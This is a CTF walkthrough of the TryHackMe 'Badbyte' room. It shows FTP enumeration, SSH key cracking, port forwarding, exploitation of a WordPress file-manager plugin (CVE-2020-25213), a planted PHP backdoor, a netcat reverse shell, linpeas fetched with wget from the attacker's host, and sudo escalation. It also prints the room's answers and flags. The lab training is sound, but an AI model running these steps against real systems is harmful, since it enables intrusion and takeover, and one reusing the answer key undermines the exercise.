TryHackMe: Badbyte
Room: https://tryhackme.com/room/badbyte
THM Rating: Easy
Actual Rating: Easy because of Walkthrough. Medium in the Real World!
Summary:
The TryHackMe room ‘Badbyte’ is great walk through box that teaches many different skills using the steps in the Cyber Kill Chain. This box is unique because it adds port forwarding to your skill set which is important as your grow to medium boxes and begin pivoting.
Reconnaissance
Add the IP address to your /etc/hosts file.
Command Ran: echo ‘10.10.50.233 badbyte.thm’ >> /etc/hosts
Run Rustscan with basic Nmap scripts.
Command Ran: rustscan -a badbyte.thm --ulimit 6000 -- -sC -sV -A
We can now answer questions in the Reconnaissance tab from the Rustscan output.
- How many port are open? 2
- What service is running on the lowest open port? ssh
- What non-standard port is open? 30024
- What service is running on the non-standard port? ftp
The Rustscan output also tells us that anonymous FTP is allowed (FTP code 230) on port 30024. Let’s login!
Foothold
Commands Ran:
ftp anonymous@badbyte.thm 30024
dir
get id_rsa
get get note.txt -
(Note: You can add a space then a dash symbol to the end of the get note.txt command in order to read the file in FTP session rather than downloading the file!)
remote: note.txt
229 Entering Extended Passive Mode (|||16571|)
150 Opening BINARY mode data connection for note.txt (78 bytes).
I always forget my password. Just let me store an ssh key here.
- errorcauser
226 Transfer complete.
We can answer the next question in the Foothold section.
5. What username do we find during the enumeration process? errorcauser
Next we need to convert the id_rsa file to a format that John can understand and decrypt!
Tip: I have added rockyou.txt to my default john list so I don’t have to specify the word list each time I run john. Note: Your file locations may be different.
Command Ran: cat /locationofyourrockyou.txt file >> /usr/share/wordlists/john.lst
Commands Ran:
ssh2john id_rsa > crackme
john crackme
john crackme --show
We can now answer the next question in foothold.
6. What is the passphrase for the RSA private key? cupcake
Port Forwarding
Let try and login with our newly found passphrase while using the -D flag for Dynamic Port Forwarding. First, make sure the id_rsa is set to chmod 600.
Commands Ran:
chmod 600 id_rsa
ssh -i id_rsa -D 1337 errorcauser@badbyte.thm
We are greeted with a very limited shell! For Dynamic Port Forwarding scanning we need proxychains! The conf file is located at /etc/proxychains.conf. You can copy this .conf file to any directory for running because when we invoke proxychains it checks the current directory first before searching the /etc/ directory.
Commands Ran:
cd /tmp
cp /etc/proxychains.conf .
Allow Dynamic Chain and comment out Strict Chain as shown below in the image.
Comment out the socks4 line and add the following below it:
socks5 127.0.0.1 1337
Save the file and let’s scan!
Proxychains runs pretty slow so I like to use Nmap with Proxychains because it will scan the most popular top 1,000 ports first. If I were to use Rustscan, it will start at 1 and run in sequential order to 65,535.
Command Ran: proxychains nmap -sT 127.0.0.1
We scan ourselves on 127.0.0.1 which will ‘Port Forward’ the connection to the SSH -D connection we establish using port 1337. Where ever you see an OK, that indicates the port is open on the box. We can now answer the next questions in the Port Forwarding section.
7. What main TCP ports are listening on localhost? 80,3306
8. What protocols are used for these ports? http,mysql
No we want to exit the SSH -D session and setup a local port forwarder to HTTP port 80.
Command Ran: ssh -i id_rsa -L 80:127.0.0.1:80 errorcauser@badbyte.thm
Web Exploitation
Let’s start by scanning with Nuclei.
Command Ran: nuclei -u http://127.0.0.1
Nuclei has detected Wordpress and loaded scripts specifically to scan Wordpress sites.
The output has answered most all the questions in the Web Exploitation section.
Get Krang2K’s stories in your inbox
Join Medium for free to get updates from this writer.
9. What CMS is running on the machine? Wordpress
10. Can you find any vulnerable plugins? Completed
11. What is the CVE number for directory traversal vulnerability? CVE-2020–11738
12. What is the CVE number for remote code execution vulnerability? CVE-2020–25213
13. There is a metasploit module for the exploit. You can use it to get the reverse shell. If you are feeling lucky you can follow any POC( Proof of Concept). Completed
14. What is the name of user that was running CMS? cth
Let’s go get the user flag using the CVE-2020–25213.
The exploit has a code to check the endpoint and help determine if the target is vulnerable.
Commands Ran:
chmod +x cve-2020–25213.sh
./cve-2020–25213.sh -u http://127.0.0.1 --check
I’m going to backdoor this box with a php file uploader. You can download the php file from here:
If you go back to the Nuclei output it gives us the URI for the exploit.
Command Ran: ./cve-2020–25213.sh -u http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php -f /root/uploads/mini.php -- verbose
The output tells us where the php file is located. I just prefer to backdoor boxes for a restart place if needed first.
Command Ran: http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/mini.php
I can now upload a proper PHP shell using this new php upload page.
I selected the PHP PentestMonkey shell and saved it to a file called phpfull.php.
Setup a netcat listener and invoke the reverse shell by either putting the URL into your browser or just curl the link.
Commands Ran:
nc -lvnp 8080
http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/phpfull.php
Got a Reverse Shell!!! Let’s get a tty first.
Command Ran: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
Now get the user flag.
Command Ran: cat /home/cth/user.txt
15. What is the user flag? THM{227906201d17d9c45aa93d0122ea1af7}
Moving on to the Privilege Escalation section, I’ll run linpeas.sh first.
Commands Ran:
From my Kali box in the linpeas.sh directory:
python3 -m http.server 8080
From the Reverse Shell:
wget http[:]//yourkaliip:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Linpeas.sh shows that we can privilege escalate with pwnkit and possibly other vunlerabilities but we haven’t found the file that is mentioned in the walkthrough.
There is a .viminfo file in the /home/cth/ directory. This file can contain command line history, string history and commands performed by the user. It’s great to find some of the latest files and directories. If you cat that file you will find /var/log/bash.log which is interesting.
Command Ran: cat .viminfo
Now we can answer the next question using the bash.log file
Command Ran: cat /var/log/bash.log
16. What is the user's old password? G00dP@$sw0rd2020
Now we know the password of cth. Whenever I know the password of a user, i’ll use the sudo -l command to look for low hanging fruit.
Commands Ran:
sudo -l
G00dP@$sw0rd2021
sudo su root
Now we are root!
Let’s get the flag and answer the last question!
17. What is the root flag? THM{ad485b44f63393b6a9225974909da5fa}







